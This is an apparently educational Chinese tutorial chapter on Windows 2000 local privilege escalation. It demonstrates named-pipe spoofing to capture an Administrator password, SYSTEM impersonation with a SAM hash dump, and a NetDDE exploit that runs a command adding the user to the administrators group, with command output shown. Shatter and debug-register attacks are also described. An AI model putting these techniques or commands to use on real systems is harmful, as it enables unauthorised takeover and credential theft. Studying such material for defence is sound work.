系统安全:Win2000系统中几个攻击实例之成败心得

MS10-020漏洞深度解析:从SMB协议原理到现代防护实践 服务器消息块(SMB)协议作为Windows和类Unix系统间文件共享的核心协议,其安全性直接关系到企业内网的整体防护水平。该协议在客户端处理服务器响应时,若缺乏严格的边界检查,可能引发内核态的缓冲区溢出漏洞,导致远程代码执行。这类协议层漏洞的技术价值在于,攻击者无需用户交互,仅通过诱导访问恶意共享即可触发,常被用作内网横向移动的跳板。MS10-020正是SMBv1/v2客户端协议中一个典型的高危漏洞,其根源在于对SMB_COM_TRANSACTION2次级命令的畸形参数验证不足。理解其原理不仅是为了修复一 阅读详情
讲到Exploit都会涉及到提升权限的问题,所谓提升权限就是利用系统的漏洞来获得更高的Privilege。比如说,你用一般用户的账号登录Windows NT/Windows 2000后,你就只能作有限的操作,却不能加减用户,不能往系统目录中存写文件等等;但等到你通过系统的漏洞获得了Administrator或者Local System的权限以后,你也就可以作这些事了。 

  我研究Exploit的时间并不是很长,但看到有关在Windows操作系统中提升权限的方法与实例还真不少。刚才到Google上用关键词“microsoft”、“Windows”、“privilege”、“elevation”去搜索一下,居然返回3000多个结果。要知道,这还只是公布出来的部分,江湖中还有很多必杀绝技是不轻易示人的。

  要想在这里详细地介绍所有Windows中提升权限的方法,我的功力是远远不够的----估计相当于丐帮一袋弟子的水平而已。所以呢,这一章所针对的读者应该是丐帮的入门弟子,如果你们哪位功力要用两个以上的麻袋来装的话,请尽管跳过这一章。

  我在选择这一章的Exploit例子时,有意选择针对W2K操作系统、附带有源程序的例子,这样方便大家在自己的机器上试验。这些Exploit并不是每个都成功,但是我感觉它们有不少可借鉴之处,可以通过学习它们来了解 黑客的思路,从而提高自己的反入侵能力。

  记住我的机器dallas是W2K Service Pack 1,如果你们的计算机运行不同版本的W2K Service Pack,这些Exploit可能需要改动。

  顺便说一句,实际上在第一章里面我们已经提到一种在Unix或者Linux中提升权限的方法,就是去Exploit超级用户Root所有的、具有SUID位的执行程序。在Windows操作系统中,没有SUID这种说法,但是有一种RunAs服务(Service)进程可以提供类似于SUID的功能,而且是有可能被Exploit的。  

  利用Windows 2000中的Named Pipe来提升权限  

  Windows 2000中的RunAs服务进程可以让用户甲以用户乙的权限运行程序,这类似于Unix和Linux系统中SUID位功能。W2K中的一个API:CreateProcessWithLogonW就利用了RunAs服务进程,用户甲调用这个CreateProcessWithLogonW时把用户乙的账号(Account)、域(Domain)、密码(Password)提交给Windows操作系统作Authentication,如果Authentication成功,那么就接着运行指定的程序,而且这个程序运行时具有用户乙的权限。

  CreateProcessWithLogonW API的定义如下:

  BOOL CreateProcessWithLogonW(

  LPCWSTR , // 用户乙的账号(Account)

  LPCWSTR , file://用户乙的域(Domain)

  LPCWSTR , // 用户乙的密码(Password)

  DWORD , // logon option

  LPCWSTR , // executable module name

  LPWSTR , // command-line string

  DWORD , // creation flags

  LPVOID , // new environment block

  LPCWSTR , // current directory name

  LPSTARTUPINFOW , // startup information

  LPPROCESS_INFORMATION // process information

  );

  那么CreateProcessWithLogonW是如何把用户乙的账号信息传给RunAs服务进程的呢?在Windows操作系统中有很多Interprocess Communication的方法,大概最常见的就是Pipe了。我们在上一章对IIS的Exploit中也用到了Pipe,不过那是没有名字的pipe (Anonymous Pipe);在这里CreateProcessWithLogonW是用有名字的Pipe(named Pipe)与RunAs联络的,这个named Pipe就是“//./pipe/secondarylogon”。

  到目前为止,一切都正常。大家要问:RunAs的漏洞在哪里呢?它的漏洞是如何被Exploit的呢?根据RADIX TTeam的解释:当用户甲用CreateProcessWithLogonW创建具有用户乙权限的进程时,它是不会核实“//./pipe/secondarylogon”的Server端究竟是连通到RunAs进程还是连通到其它的进程。如果RunAs服务进程在某一时刻停止运行的话, 黑客进程可以趁机创建一个也叫“//./pipe/secondarylogon”的named Pipe,然后 黑客进程就假装成RunAs服务进程在Pipe的Server端等着接受信息。接着我们无辜而无知的用户甲调用CreateProcessWithLogonW了,它也不先调查一下Named Pipe另一端的进程身份,就把用户乙的账号信息由伪造的named Pipe传了过去,传呀传,传呀传,一直传到 黑客程序的耳朵里。

  RADIX Team还编写了一个Exploit程序radix1112200101,这个程序把通过Named Pipe “//./pipe/secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅,我就不转载这个程序了,大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(Local Domain)的超级用户Administrstor的密码。被Exploit的程序(就是因为使用CreateProcessWithLogonW而泄密的家伙)叫radixvictim.cpp,它以超级用户Administrator的权限启动一个NotePad程序。

  <=====================radixvictim.cpp======================>

  // radixvictim.cpp : Defines the entry point for the application.
  //

  #define _WIN32_WINNT 0x0500

  #define UNICODE

  #include

  #include

  #include

  #include

  int APIENTRY WinMain(HINSTANCE hInstance,

  HINSTANCE hPrevInstance,

  LPSTR lpCmdLine,

  int nCmdShow = SW_SHOW)

  {

  // TODO: Place code here.

  LPCWSTR lpUsername = L"Administrator"; // user's name

  LPCWSTR lpDomain = L"dallas"; // user's domain

  LPCWSTR lpPassword = L"moda"; // user's password

  DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon

  option

  LPCWSTR lpApplicationName = L"D://Winnt//NotePad.exe";

  LPWSTR lpCommandLine = L"NotePad.exe"; // command-line

  string

  DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation

  flags

  LPVOID lpEnvironment = NULL; // new environment block

  LPCWSTR lpCurrentDirectory = NULL; // current directory name

  STARTUPINFO StartupInfo; // startup information

  PROCESS_INFORMATION ProcessInfo; // process information BOOL ret;

  ZeroMemory(&StartupInfo, sizeof(StartupInfo));

  StartupInfo.cb = sizeof(StartupInfo);

  ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

  ret = CreateProcessWithLogonW(

  lpUsername,

  lpDomain,

  lpPassword,

  dwLogonFlags,

  lpApplicationName,

  lpCommandLine,

  dwCreationFlags,

  lpEnvironment,

  lpCurrentDirectory,

  &StartupInfo,

  &ProcessInfo

  );

  

  if (! ret )

  ExitProcess (GetLastError()) ;

  return 0;

  }

  <==============================================>

  在伪造Named Pipe之前,必须关闭RunAs的“//./pipe/secondarylogon”,要不然运行radix1112200101会得到Permission Denied之类的错误。

  我先以超级用户Administrator登录dallas,然后从Administrative Tools->Services中终止RunAs服务进程(一般的情况下,只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“//./pipe/secondarylogon”就关闭(Close)了。

  再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “//./pipe/secondarylogon”。

  D:/MyJob/securitylab/radix/Debug>radix1112200101

  Created pipe and waiting for clients...

  怎么确定“//./pipe/secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe:

  D:/MyJob/tool/pipelist/RELEASE>pipelist

  PipeList v1.01

  by Mark Russinovich

  http://www.sysinternals.com

  Pipe Name Instances Max Instances

  --------- --------- -------------

  InitShutdown 2 -1

  lsass 5 -1

  ntsvcs 50 -1

  scerpc 2 -1

  net/NtControlPipe1 1 1

  DhcpClient 1 -1

  net/NtControlPipe2 1 1

  Winsock2/CatalogChangeListener-194-0 1 1

  net/NtControlPipe3 1 1

  spoolss 2 -1

  。。。。。。。

  。。。。。。。

  net/NtControlPipe21 1 1

  tapsrv 2 -1

  ROUTER 2 -1

  WMIEP_2ac 2 -1

  WMIEP_154 2 -1

  SecondaryLogon 1 10

  D:/MyJob/tool/pipelist/RELEASE>

  你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。

  现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出:

  D:/MyJob/securitylab/radix/Debug>radix1112200101

  Created pipe and waiting for clients...

  Read 4 bytes. (ASCII Dump)

  >

  ? Read 318 bytes. (ASCII Dump)

  □

  ? ? 8

  X j □ □

  ? ? ? - + -

  ? A d m i n i s t r a t o r

  ? d a l l a

  s ? m o d a

  * D

  : / W i n n t /

  N o t e P a d .

  e x e ? N o t e P a d . e x e l

  D H l


  W i n S

  t a 0 / D e f a u l t _

  D:/MyJob/securitylab/radix/Debug>

  你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了!

  这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的, 黑客的Named Pipe也可以贴上同样的名字“//./pipe/secondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子:

  我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果 黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到 黑客的Named Pipe上,於是 黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么, 黑客是怎样猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址:

  HKEY_LOCAL_MACHINE/

  SYSTEM/

  CurrentControlSet/

  Control/

  ServiceCurrent

  如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“//./pipe/net/NtControlPipe(X+1)”,这也就是 黑客要伪造的Named Pipe的名字。

  maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。

  你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。

  先以Administrator的账号登录dallas,把ClipBook服务进程停止。

  再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果:

  D:/MyJob/securitylab/PipeUp/Debug>pipeup

  The ClipBook service is not started.

  More help is available by typing NET HELPMSG 3521.

  Impersonating: SYSTEM

  Dumping SAM for RID 500 ...

  F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c
101ffffffffffff

ff7fb0c25115f430c201f401000001020000100200000000000000002a010100
000000000d000a00
0000

V:0x00000000a800000002000100a80000001a00000000000000c400000000
00000000000000c400

00006c0000000000000030010000000000000000000030010000000000000
0000000300100000000

0000000000003001000000000000000000003001000000000000000000003
0010000000000000000

0000300100000000000000000000300100000000000000000000300100000
8000000010000003801

000014000000000000004c010000140000000000000060010000040000000
0000000640100000400

000000000000010014808800000098000000140000003000000002001c000
100000002c014004400

05010101000000000001000000000200580003000000000014005b0302000
1010000000000010000

000000001800ff070f000102000000000005200000002002000000002400440
00200010500000000

000515000000dde8e41c32621f2a8aa7323ff401000001020000000000052000
0000200200000102
  0000000000052000000020020000410064006d0069006e0069007300740072
00610074006f007200
  00004200750069006c0074002d0069006e0020006100630063006f0075006e0
07400200066006f00

72002000610064006d0069006e006900730074006500720069006e00670020
007400680065002000

63006f006d00700075007400650072002f0064006f006d00610069006e000102
0000070000000100
  01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29
011d882f0100

010001000100

  D:/MyJob/securitylab/PipeUp/Debug>

  大家看了上面两个例子有什么想法呢?肯定有人会觉得这些Exploit有“做弊”的嫌疑:一方面,在radix1112200101(或PipeUp)运行之前,RunAs(或ClipBook)服务进程都必须先终止运行,这样 黑客进程才有可能伪造Named Pipe,才有机会窃取Administrator(或Local System)的账号信息;而另一方面, 黑客必须先取得至少Administrator的权限才能终止RunAs(或ClipBook)进程。这两个方面看起来是互为前提条件的,是个无解的“Deadlock”。实际上,我在SecurityFocus网站上看到Microsoft针对Exploit程序radix1112200101的回复,它指出这个Exploit是两难的,现实中不太可能发生。

  要实现这个Exploit确实有些难度,但是这并不等于不会发生!假如某个服务进程有Bugs,象缓冲区溢出呀、Signal不当reentrant呀等等,那么在运行中这个服务进程就有可能被 黑客故意整垮掉(Crash),然后 黑客就可以伪造它的Named Pipe,再利用上面的Exploit程序提升其权限。

  而且有时候我们并不需要先终止服务进程,我在Microsoft的Security Bulletins网站上找到一个例子----编号为MS01-031的一篇文章 “Predictable Name Pipes Could Enable Privilege Elevation Via Telnet”。中文大意是说:当你通过Telnet远程联线到Windows 2000系统中的Telnetd服务进程时,Telnetd会创建一个新的Named Pipe,同时运行这个Named Pipe携带的初始化程序。由于这个Named Pipe的名字是可以猜到的(Predictable),所以 黑客可以抢先用猜到的名字创建这个Named Pipe,同时让这个Named Pipe携带 黑客码作为初始化程序;当Telnetd服务进程发现这个Named Pipe已经存在时,它既不重新创建一个新的Named Pipe,也不核实一下这个Named Pipe的创建者是否可以信赖(Trustable),相反,它直接使用这个Named Pipe,并且把其携带的 黑客码当成初始化程序运行。由于在缺省设置的情况下,Telnetd服务进程具有Local System的权限,所以 黑客码也将以这个最高的权限横冲直撞。

  Microsoft的文章并没有告诉我们这个可以猜得到的Named Pipe名字是什么----这是可以理解的,毕竟谁也不会开门掬盗。不过我在dallas上作了个试验:分别联结两个Telnet Session到Dallas上,然后用Pipelist程序观察在Telnet后Named Pipe的变化情况:

  D:/MyJob/tool/pipelist/Debug>pipelist

  PipeList v1.01

  by Mark Russinovich

  http://www.sysinternals.com

  Pipe Name Instances Max Instances

  --------- --------- -------------

  InitShutdown 2 -1

  lsass 5 -1

  ntsvcs 52 -1

  scerpc 2 -1

  net/NtControlPipe1 1 1

  。。。。。。。。。。

  tapsrv 2 -1

  ROUTER 2 -1

  WMIEP_644 2 -1

  WMIEP_2c8 2 -1

  net/NtControlPipe28 1 1

  telnetd/000001fc.00000000 1 1

  telnetd/000001fc.00000001 1 1

  telnetd/000001fc.00000002 1 1

  telnetd/000001fc.00000003 1 1

  上面用黑体字标出来的Named Pipe:net/NtControlPipe28属于Telnetd服务进程,而telnetd/000001fc.00000000与telnetd/000001fc.00000001属于第一个Telnet Session,telnetd/000001fc.00000002与telnetd/000001fc.00000003属于第二个Telnet Session。如果这时有第三个用户Telnet进来的话,Telnetd要用到的Named Pipe名字将会是telnetd/000001fc.00000004与telnetd/000001fc.00000005,我敢赌100块钱!!!

  你们看到,这个例子并不需要终止任何服务进程,理论上说你只需要具有一般用户账号就可以提升你的权限到Local System级别:先以一般用户账号伪造Named Pipe并让它附带 黑客码作为初始化程序,然后以同一账号远程联线到象dallas这样的机器上,Telnetd服务进程会主动运行你附带在Named Pipe上的 黑客码,而且你的 黑客码是以Local System权限运行。

  利用Windows 2000中的Dynamic Data Exchange来提升权限:

  我是在www.atstake.com网站的Security Advisory栏目(2001年2月版)看到这篇文章:“NetDDE Message Vulnerability”,作者是DilDog。搞这一行有些日子的人大概都看过他的另一篇非常有名、非常经典的文章:“The Tao of Windows Buffer Overflow”;这篇文章被其他人引用的次数很多,如果拿这篇文章的引用率来评职称,肯定是非常的Solid----就是很硬的意思!

  在那一篇文章中,他详细地介绍了在Windows NT系统中如何发现NetMeeting的缓冲区溢出,如何一步一步编写 黑客码去Exploit这个缺口(Vulnerability)。实际上,在前面两章的Exploit试验中我所用到的罗马大道“Jmpesp”,以及函数指令表都直接或间接地借鉴了他的思路。有兴趣的朋友可以到下面的网页去拜读一下这篇大作:

  http://www.cultdeadcow.com/cDc_files/cDc-351/index.html

  好,回到正题:如何利用Dynamic Data Exchange来提升权限?我们曾经提到过,在Windows操作系统有多种Interprocess Communication的方法,Named Pipe是常见的一种,而Dynamic Data Exchange(DDE)则是另一种常见的方法,它是通过共享内存来实现不同进程间的动态数据交换。这些动态交换的数据叫DDE Share,它们由DDE Server创建并由Network DDE DSDM (DDE share database manager)服务进程管理。你可以在Dos窗口下运行命令DDESHARE来显示你计算机上的DDE Share,常见的DDE Share有Chat$、CLPBK$、Hearts$。

  当管理DDE Share的Network DDE DSDM服务进程运行时,Winlogon会在当前登录用户的Desktop产生一个隐藏式的Window,这个隐藏式的Window名字为"NetDDE Agent",是一个"NDDEAgnt"类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已。

  "NetDDE Agent"还有另外一个辅助功能:当DDE Client试图连接到一个Trueted的DDE Share时,如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行,它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local System权限的,所以它启动Server没有一点问题。

  根据DilDog的研究,这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)!还记得Window操作系统中的函数SendMessage()吗?登录用户可以利用这个函数向Desktop上的任何Window发送Message,即使这个Window不属于当前登录用户。所以 黑客在以一般用户的身份登录后,可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent",这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容:

  1。 一个Trusted DDE Share的名字,比如说Chat$;

  2。 一个用于启动DDE Server的命令,如果"NetDDE Agent"发现创建Chat$的DDE

  Server尚未运行,就根据这个命令来启动DDE Server。但是 黑客可以任选一个命 令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了;

  3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的,而不应该固定不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明WM_COPYDATA message是由合法程序(而不是 黑客程序)发出的,所以它们应该随机变化而不让 黑客轻易得到。

  当"NDDEAgnt"接收到WM_COPYDATA message时,它核对后会发现第三部分的字节正确无误,而且Trusted DDE Share确实存在,於是它就执行 黑客命令,由于"NDDEAgnt"具有Local System权限,它可以顺利地让阿猫同志光荣地加入本地Administrator Group。

  DilDog在文章中还附带了一个Exploit程序netddemsg,我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的:

  /*

  先以我的用户账号“moda”登录dallas。

  看看本地administrators Group有哪些成员:

  */

  D:/MyJob/securitylab/netddemsg/Debug>net localgroup administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted access to the Members

  -----------------------------------------------------------------------------

  a_mao

  Administrator

  The command completed successfully.

  /*

  本地administrators Group目前只有两个成员,Administrator和a_mao。试着把“moda”加入到本地administrators Group中:

  */

  D:/MyJob/securitylab/netddemsg/Debug>net localgroup administrators /add moda

  System error 5 has occurred.

  Access is denied.

  /*

  我的权限显然不够,所以得到error 5。

  运行DilDog的Exploit程序,同时附带上我的 黑客命令:

  */

  D:/MyJob/securitylab/netddemsg/Debug>netddemsg -s Chat$

  net localgroup administrators /add moda

  /*

  程序运行结束,让我们看看“moda”是否加入本地administrators Group:

  */

  D:/MyJob/securitylab/netddemsg/Debug>

  D:/MyJob/securitylab/netddemsg/Debug>net localgroup

  administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted

  access to the

  Members

  -----------------------------------------------------------------------------

  a_mao

  Administrator

  moda

  The command completed successfully.


  D:/MyJob/securitylab/netddemsg/Debug>

  /*

  我也光荣地加入了本地administrators Group

  */   

  利用Windows 2000/Intel中的Debug Register来提升权限:

  我是在Georgi Guninski的个人网站http://www.guninski.com)上看到这篇文章:

  “Elevation of Privileges with debug registers on Win2k”,介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好,用文章中的Exploit程序Pipe3试了几次也不能成功,不过觉得利用Debug Register来攻击是个新的思路,所以就在这里顺便介绍一下。

  Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的Named Pipe;然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时, 黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。

  文章中的Exploit程序Pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才好在那条路上设绊脚石);然后Pipe3以一般用户的权限运行程序Calc(计算器),并在其中设置断点,因为这断点的地址是在lsass运行的途径上,所以它们并不会影响Calc进程;过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程;选择中断lsass以便关闭lsass拥有的Named Pipe----/ '5c./pipe/lsass",这样Pipe3就可以伪造一个同名的Named Pipe;。。。。。。这以后的几步我想就不用重复了,大家都应该清楚。下面说说我Exploit的情况:

  先用WinDbg找到lsass可能要运行的指令地址,lsass有多个Thread,我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点,总有那么一个地址会成功地中断lsass程,并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后,lsass退出执行,Pipe3报告“LSA died!”:

  D:/MyJob/securitylab/pipe3/Debug>pipe3

  Fun with debug registers. Written by Georgi Guninskivvdr started: lsasspid=240 breakp=5ffebc

  LSA died!

  Stop writing to pipe

  start //./pipe/lsass

  Failed to create named pipe:

  //./pipe/lsass

  由于lsass是重要的系统进程,它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到,//./pipe/lsass并没有成功地创建。为什么呢?我抢在系统Shutdown之前运行了一下Pipelist:

  D:/MyJob/securitylab/pipe3/Debug>pipelist

  PipeList v1.01

  by Mark Russinovich

  http://www.sysinternals.com

  Pipe Name Instances Max Instances

  --------- --------- -------------

  InitShutdown 2 -1

  lsass 2 -1

  ntsvcs 49 -1

  scerpc 2 -1

  net/NtControlPipe1 1 1

  DhcpClient 1 -1

  net/NtControlPipe2 1 1

  。。。。。。。。。。。。。。。。

  很奇怪,虽然lsass进程终止运行,但是它的Named PPipe还在----这大概是Pipe3没能创建“//./pipe/lsass”的原因。由于时间的关系,我没能深入研究这个问题,不过哪位朋友要是用Pipe3成功地实现Exploit的话,不要忘记告诉我一声!

  不过话又说回来,这种利用Debug Register来终止lsass进程的方法----即使成功的话,也太暴露了:整个系统居然会Shutdown!任何一个傻瓜管理员都会发现有 黑客入侵。这大概是 黑客中的业余水平。好一点的 黑客要做到“轻轻的我走了,正如我轻轻的来”,要象伟大的诗人兼武林高手徐自摩那样施展一把轻功,让傻瓜管理员根本发现不了,当然耳朵厉害的管理员还是会发现的----“谁?有 黑客!抓 黑客!”。水平达到最高境界的 黑客应该是能够羚羊挂角、踏雪无痕的,这就不是我能评论的了。

  利用Win32 API的设计缺陷提升权限:

  几个星期以前我在计算机安全网站上看到两篇新发表的文章:<>、<>,作者是Chris

  Paget(网名Foon),我建议大家去下面的网址读一下他的原著:

  http://security.tombom.co.uk/shatter.html

  http://security.tombom.co.uk/moreshatter.html。

  这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到,普通用户的进程可以向他/她的Desktop上任何Window发送Message,让目标Window执行用户指定的操作,比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己,也可能属于Local System(象"NetDDE Agent")----这样问题就来了:

  ---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的,所以我们要算上“它”)在他的Desktop上先找到一个属于Local System的Window,我们给这个Window起一个名字叫WINDOWXYZ,这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT);

  ---- 用户可以把 黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里;

  ---- 用户找到被沾贴的 黑客码在WINDOWXYZ进程中的地址;

  ---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ,同时把 黑客码地址作为参数一并传给WINDOWXYZ,WINDOWXYZ於是执行定时运算,开始运行 黑客码。这些 黑客码是以Local System的权限运行的,所以普通用户的权限被成功地提升。

  ---- 实际上,根据FOON的文章,即使普通用户在其Desktop上找不到属于Local System的Window,他也有办法提升权限:他可以利用Tool Help函数得到属于 Local System的进程及其Thread,只要其中任何一个Thread能处理Window的Message,用户就可以用函数PostThreadMessage()向这个属于Local System的Thread发送Message,然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。

  这两篇文章引起了很大的反响,其中最引人注意的是Microsoft的答复,Micorsoft说这种方法老早就有人提出来了,Nothing New!又说根本就不应该在普通用户的Desktop上创建属于Local System的Window,编程序的人应该避免这样的设计。但实际上隐藏式的窗口"NetDDE Agent"就出自于Microsoft的设计,它属于Local System但是却运行在登录用户的Desktop上,看来Microsoft是知法犯法啊!

  我觉得这个缺陷就象不安全的函数strcpy一样,C语言在实现strcpy函数时有漏洞(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块,缓冲区的溢出就会覆盖系统管理信息),於是大家寄希望于程序员能够避免使用函数strcpy。现在Microsoft也承认在普通用户的Desktop上创建一个Window是危险的,所以它也寄希望于大家编程时避免使用这样的设计。

  下面我专门编写了一个服务进程“SimpleService”来演示一下Microsoft的这个设计缺陷。SimpleService以Local System的权限运行,它打开一个Named Pipe然后等待Named Pipe Client与它联络;普通用户接着登录计算机并运行程序“Client”,“Client”是一个Named Pipe Client;它向SimpleService的Named Pipe随便写一些字节,於是SimpleService就在登录用户的Desktop上产生一个对话窗口(Dialog Box)。普通用户最后利用FOON的攻击程序Shatter攻击这个对话窗口来获得“Local System”的权限。

  因为SimpleService程序太长,所以我只节选了关键的部分让大家参考:

  <====================SimpleService====================>

  #define SZAPPNAME _T("Simple")

  #define SZSERVICENAME _T("SimpleService")

  #define SZSERVICEDISPLAYNAME _T("Simple Service")

  #define SZDEPENDENCIES _T("")

  typedef struct DLGPARAM{

  UINT numOfHit;

  TCHAR *msg;

  } DlgParam;

  // internal function prototypes

  static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

  // SimpleService.cpp : Defines the entry point for the

  application.

  //

  HINSTANCE hAppInstance;

  DlgParam m_dlgParam;

  int APIENTRY WinMain(HINSTANCE hInstance,

  HINSTANCE hPrevInstance,

  LPSTR lpCmdLine,

  int nCmdShow)

  {

  ......

  }

  void WINAPI service_main()

  {

  ......

  }

  VOID WINAPI service_ctrl(DWORD dwCtrlCode)

  {

  ......

  }

  BOOL WINAPI ControlHandler ( DWORD dwCtrlType )

  {

  ......

  }

  HANDLE hServerStopEvent = NULL;

  VOID ServiceStart ()

  {

  ......

  ......

  hPipe = CreateNamedPipe(

  lpszPipeName , // name of pipe

  FILE_FLAG_OVERLAPPED  

  PIPE_ACCESS_DUPLEX, // pipe open mode

  PIPE_TYPE_MESSAGE  

  PIPE_READMODE_MESSAGE  

  PIPE_WAIT, // pipe IO type

  1, // number of instances

  0, // size of outbuf

  file://(0 == allocate as necessary)

  0, // size of inbuf

  1000, // default time-out value

  &sa); // security attributes

  ......

  ......

  while ( 1 )

  {

  ......

  ......

  ConnectNamedPipe(hPipe, &os);

  ......

  ......

  bRet = ReadFile(

  hPipe, // file to read from

  szIn, // address of input buffer

  sizeof(szIn), // number of bytes to read

  &cbRead, // number of bytes read

  &os); // overlapped stuff, not needed

  ......

  ......

  _stprintf(szOut, _T("Please check the Dialog Box"));

  _stprintf(szOut1, _T("Eacho Back! [%s]"), szIn);

  ......

  ......

  bRet = WriteFile(

  hPipe, // file to write to

  szOut, // address of output buffer

  sizeof(szOut), // number of bytes to write

  &cbWritten, // number of bytes written

  &os); // overlapped stuff, not needed

  ......

  ......

  DisconnectNamedPipe(hPipe);

  m_dlgParam.numOfHit++;

  m_dlgParam.msg = szOut1;

  /*

  在登录用户的Desktop上创建一个窗口

  */

  int result = DialogBoxParam(hAppInstance,

  MAKEINTRESOURCE(IDD_SVCMSG),

  NULL,

  (DLGPROC) DialogProc,

  (LPARAM) &m_dlgParam);

  }

  cleanup:

  ......

  ......

  }

  VOID ServiceStop()

  {

  if ( hServerStopEvent )

  SetEvent(hServerStopEvent);

  }

  #define SIZEOFBUF 40

  /*

  Window的Message Handler

  */

  BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

  {

  DlgParam* l_pDlgParam = (DlgParam*) lParam;

  CHAR tempBuf[SIZEOFBUF];

  switch (uMsg)

  {

  case WM_INITDIALOG:

  {

  HWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT);  /*限定Edit Control的尺寸(Size)为3*/

  SendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3,

  (LPARAM)0);

  _itoa(l_pDlgParam->numOfHit, tempBuf,10);

  SendMessage(hNumVisit, WM_SETTEXT, (WPARAM)

  0,(LPARAM)tempBuf);

  HWND hMsg = GetDlgItem(hwnd, IDC_MSG);

  /*限定Edit Control的尺寸(Size)为40*/

  SendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF,

  (LPARAM)0);

  SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,

  (LPARAM) l_pDlgParam->msg );

  SetForegroundWindow(hwnd);

  return FALSE;

  }

  case WM_COMMAND:

  {

  switch (LOWORD(wParam))

  {

  case IDC_OK:

  EndDialog(hwnd, IDC_OK);

  return FALSE;

  default:

  return FALSE;

  }

  }

  }

  return FALSE;

  }
  <===============================================>

  下面是程序Client.c,非常简单,它的功能仅仅是向“//./pipe/simple”发送几个字节:

  <=======================Client========================>

  // client.cpp : Defines the entry point for the console

  application.

  //
